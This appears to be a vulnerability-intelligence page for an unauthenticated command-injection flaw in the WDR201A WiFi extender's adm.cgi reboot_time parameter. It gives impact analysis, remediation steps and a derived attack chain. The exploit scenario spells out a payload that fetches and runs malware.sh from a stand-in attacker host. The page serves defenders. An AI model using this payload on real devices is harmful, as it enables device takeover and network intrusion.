Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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ReconScan for exposed WDR201A web interfaces
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DeliverySend POST to /adm.cgi with reboot_enabled=1
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ExploitInject shell commands via reboot_time parameter
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InstallExecute arbitrary code as root
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C2Download second-stage payload
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ExecuteEstablish persistent backdoor
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ImpactExfiltrate credentials and pivot to LAN
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The WDR201A device must have its web management interface accessible over the network (default configuration for remote administration). The specific vulnerable code path requires the attacker to submit a POST request with reboot_enabled=1 set - this parameter acts as a trigger that invokes the vulnerable reboot_time function. No authentication is required, meaning the vulnerability is exploitable against default configurations without credentials. The attack works regardless of whether scheduled reboot functionality has been previously configured by legitimate administrators. Network accessibility is the primary limiting factor: devices behind NAT without port forwarding or those on isolated network segments cannot be exploited remotely, though LAN-based attackers (including malware on connected clients) can still leverage the vulnerability. |
| Impact | This vulnerability represents CRITICAL real-world risk with multiple high-severity indicators converging: CVSS 9.3 (network-accessible, low complexity, no privileges/interaction required), publicly available exploit code confirmed by VulnCheck, and SSVC assessment of 'automatable' with 'total' technical impact. The combination of unauthenticated remote exploitation and public POC creates immediate weaponization potential. However, risk is somewhat constrained by the limited market deployment of this specific consumer-grade WiFi extender model from a smaller manufacturer. Organizations should prioritize based on asset inventory - if WDR201A devices exist on networks, treat as emergency-tier remediation. The absence of CISA KEV listing suggests either limited detection of exploitation attempts or narrow targeting, but the public POC published in May 2026 significantly lowers the barrier for widespread attacks. Devices deployed in SOHO or IoT environments face highest risk due to typical lack of network segmentation. |
| Exploit ScenarioDerived | An unauthenticated attacker scans the internet for WDR201A WiFi Extenders exposing their web management interface on default ports. Upon identifying a target at 203.0.113.45, the attacker crafts a malicious HTTP POST request to http://203.0.113.45/adm.cgi with parameters reboot_enabled=1 and reboot_time='; wget http://attacker.com/malware.sh -O /tmp/m.sh; chmod +x /tmp/m.sh; /tmp/m.sh;'. The vulnerable adm.cgi binary executes the injected commands with root privileges, downloading and executing attacker-controlled shellcode that establishes persistent backdoor access, exfiltrates WiFi credentials, and pivots to connected network devices. |
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Alert meAnalysisAIv1 – May 04, 2026
Remote code execution in WDR201A WiFi Extender (HW V2.1, FW ≤1.02) allows unauthenticated attackers to execute arbitrary OS commands via the adm.cgi binary's reboot_time parameter. The vulnerability stems from unsanitized input handling in the reboot scheduling function, exploitable by sending crafted POST requests with shell metacharacters when reboot_enabled=1. Public exploit code exists (CVSS 9.3, SSVC: automatable/total impact), making this a critical priority for affected deployments despite no confirmed CISA KEV listing at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis - the manufacturer's advisory status and firmware update availability remain unconfirmed from provided sources. Without an official fix, organizations must implement immediate compensating controls: (1) Isolate affected WDR201A devices on dedicated network segments with strict firewall rules blocking external access to the web management interface (typically TCP ports 80/443), understanding this prevents remote management but is necessary to block exploitation. (2) Disable remote administration features entirely if supported by device configuration, though firmware limitations may prevent full mitigation. (3) If isolation is infeasible, consider replacing devices with alternative products from vendors with active security support programs. (4) Deploy network-based IDS/IPS rules to detect POST requests to /adm.cgi containing shell metacharacters in reboot_time parameters. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/wdr201a-wifi-extender-os-command-injection-via-adm-cgi-reboot-time and vendor channels for firmware updates.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a classic OS command injection (CWE-78) vulnerability in embedded device firmware. The WDR201A WiFi Extender's web management interface uses CGI binaries (adm.cgi) for administrative functions. The reboot_time function fails to sanitize user input before passing it to system shell commands, allowing attackers to break out of intended command context using shell metacharacters (e.g., semicolons, pipes, backticks). The affected firmware version (LFMZX28040922V1.02) appears to be manufactured by Shenzhen Yipu Commercial and Trading Co., a supplier of networking equipment. The vulnerability resides in pre-authentication code paths, meaning the web interface processes the malicious parameter before credential verification.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the adm.cgi binary's reboot_time function that allows unauthenticated remote attackers to execute arbitrary shell commands by injecting malicious input into the reboot_time POST parameter. Attackers can send a crafted request with shell metacharacters in the reboot_time parameter when reboot_enabled=1 to achieve remote code execution.
Executive ViewAI
CVE-2026-41925 is a critical remote code execution vulnerability affecting WDR201A WiFi Extenders (firmware ≤1.02) that allows unauthenticated attackers to execute arbitrary commands on affected devices. Organizations using this model risk complete device compromise and potential network infiltration, as the vulnerability requires no authentication and can be exploited remotely via standard HTTP requests. Immediate identification and isolation of affected extenders is essential to prevent unauthorized access to corporate or residential networks.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable reboot scheduling functionality via configuration if possible; (2) Implement network access controls restricting POST requests to the adm.cgi endpoint from untrusted networks; (3) Isolate affected devices to a separate VLAN with restricted lateral movement; (4) Monitor for suspicious HTTP POST requests containing shell metacharacters to the reboot_time parameter; (5) Plan immediate replacement with patched hardware or alternative vendors. These controls reduce but do not eliminate risk; replacement is strongly recommended.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
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EUVD-2026-27124
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB